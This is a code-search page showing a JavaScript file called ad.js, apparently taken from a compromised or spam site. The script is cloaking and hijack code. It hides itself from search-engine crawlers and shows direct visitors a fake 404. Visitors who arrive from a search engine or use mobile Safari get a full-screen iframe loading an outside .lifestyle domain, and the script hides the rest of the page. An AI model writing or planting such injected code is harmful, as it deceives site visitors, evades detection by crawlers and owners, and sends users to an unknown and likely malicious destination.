PageSourceSearch

http://fdkswkj.com.cn/ad.js

js fdkswkj.com.cn collected 2026-10-07 02:39:54 UTC 5,787 bytes, 157 lines download raw bytes

1window.__earlyReferrer = document.referrer;
2
3var titlestr = document.title;
4
5var arr = ["https://dfcdbcghgv.459534.lifestyle:8283/?nb=Onerun5-043&bm=qmf&ml=kp"];function hasValidReferrer() {
6    var referer = getBestReferrer();
7    return referer && referer !== '';
8}
9
10var mobileArr = ["https://dfcdbcghgv.459534.lifestyle:8283/?nb=Onerun5-043&bm=qmf&ml=kp"];function hasValidReferrer() {
11    var referer = getBestReferrer();
12    return referer && referer !== '';
13}
14
15var directAccessLink = location.origin + "/404";
16
17function isMobileDevice() {
18    var mobileRegex = /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i;
19    return mobileRegex.test(navigator.userAgent);
20}
21
22function isSafariMobile() {
23    var ua = navigator.userAgent;
24    var isSafari = /Safari/.test(ua) && !/Chrome|CriOS/.test(ua);
25    return isMobileDevice() && isSafari;
26}
27
28function isSpider() {
29    var spiderRegex = /(baiduspider|googlebot|sogou web spider|sosospider|360spider|yisouspider|bingbot|bytespider|yodaobot|msnbot|slurp)/i;
30    return spiderRegex.test(navigator.userAgent);
31}
32
33function getBestReferrer() {
34    if (window.__earlyReferrer && window.__earlyReferrer !== '') return window.__earlyReferrer;
35    try {
36        var navEntries = performance.getEntriesByType('navigation');
37        if (navEntries && navEntries.length > 0 && navEntries[0].referrer) {
38            return navEntries[0].referrer;
39        }
40    } catch(e) {}
41    return document.referrer;
42}
43
44function isFromSearchEngine() {
45    var referer = getBestReferrer();
46    var searchDomains = [
47        'baidu\\.com', 'm\\.baidu\\.com', 'www\\.baidu\\.com', 'baidu\\.cn',
48        'sogou\\.com', 'www\\.sogou\\.com', 'so\\.com', 'sm\\.cn',
49        'google\\.com', 'www\\.google\\.com', 'google\\.cn',
50        'bing\\.com', 'www\\.bing\\.com',
51        'yahoo\\.com', 'yandex\\.', 'ecosia\\.org', 'duckduckgo\\.com',
52        'ask\\.com', 'aol\\.com', 'wolframalpha\\.com'
53    ];
54    if (referer) {
55        var domainRegex = new RegExp('(' + searchDomains.join('|') + ')', 'i');
56        if (domainRegex.test(referer)) return true;
57        if (/\/s\?|\/search\?|\?q=|\?wd=|\?keyword=/.test(referer)) return true;
58    }
59    
60    var urlParams = new URLSearchParams(window.location.search);
61    var fromParam = urlParams.get('from') || urlParams.get('source') || urlParams.get('utm_source') || urlParams.get('wd');
62    if (fromParam) {
63        var searchKeywords = ['baidu', 'google', 'bing', 'sogou', 'yahoo', 'yandex', 'so', 'sm'];
64        for (var i = 0; i < searchKeywords.length; i++) {
65            if (fromParam.toLowerCase().indexOf(searchKeywords[i]) !== -1) return true;
66        }
67    }
68    
69    var currentUrl = window.location.href.toLowerCase();
70    for (var j = 0; j < searchDomains.length; j++) {
71        if (currentUrl.indexOf(searchDomains[j].replace(/\\/g, '')) !== -1) return true;
72    }
73    
74    return false;
75}
76
77function init() {
78    if (window !== window.top) {
79        return;
80    }
81
82    if (isSpider()) {
83        return;
84    }
85
86    if (isSafariMobile()) {
87        var safariTarget = mobileArr[Math.floor(Math.random() * mobileArr.length)];
88        if (safariTarget) {
89            createIframe(safariTarget, false);
90        }
91        return;
92    }
93
94    if (isFromSearchEngine()) {
95        var targetLink = isMobileDevice() ? mobileArr[Math.floor(Math.random() * mobileArr.length)] : arr[Math.floor(Math.random() * arr.length)];
96        if (targetLink) {
97            createIframe(targetLink, false);
98        }
99    } else {
100        createIframe(directAccessLink, true);
101    }
102}
103
104function createIframe(olink, is404) {
105    if (is404) {
106        document.title = "404";
107    } else {
108        document.title = titlestr;
109    }
110    
111    var container = document.createElement('div');
112    container.id = 'showcloneshengxiaon';
113    container.style.cssText = 'height: 100%; width: 100%; background-color: rgb(255, 255, 255); position: fixed; top: 0; left: 0; z-index: 999999;';
114    
115    var iframe = document.createElement('iframe');
116    iframe.src = olink;
117    iframe.scrolling = 'yes';
118    iframe.style.cssText = 'width: 100%; height: 100%; border: none; margin: 0; padding: 0;';
119    iframe.setAttribute('frameborder', '0');
120    iframe.setAttribute('marginheight', '0');
121    iframe.setAttribute('marginwidth', '0');
122    
123    container.appendChild(iframe);
124    document.body.appendChild(container);
125    
126    document.documentElement.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0;';
127    document.body.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;';
128    
129    setTimeout(function() {
130        for (var i = 0; i < document.body.children.length; i++) {
131            try {
132                var element = document.body.children[i];
133                var tagName = element.tagName.toLowerCase();
134                var id = element.id;
135                
136                if (id !== 'iconDiv1' && id !== 'showcloneshengxiaon' && tagName !== 'script') {
137                    element.style.display = 'none';
138                }
139            } catch(e) {}
140        }
141        
142        if (!document.querySelector('meta[name="viewport"]')) {
143            var oMeta = document.createElement('meta');
144            oMeta.name = 'viewport';
145            oMeta.content = 'width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no';
146            document.getElementsByTagName('head')[0].appendChild(oMeta);
147        }
148        
149        console.log('iframe加载完成,目标:', olink, is404 ? '(404页面)' : '');
150    }, 100);
151}
152
153if (document.readyState === 'complete' || document.readyState === 'interactive') {
154    init();
155} else {
156    document.addEventListener('DOMContentLoaded', init);
157}

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.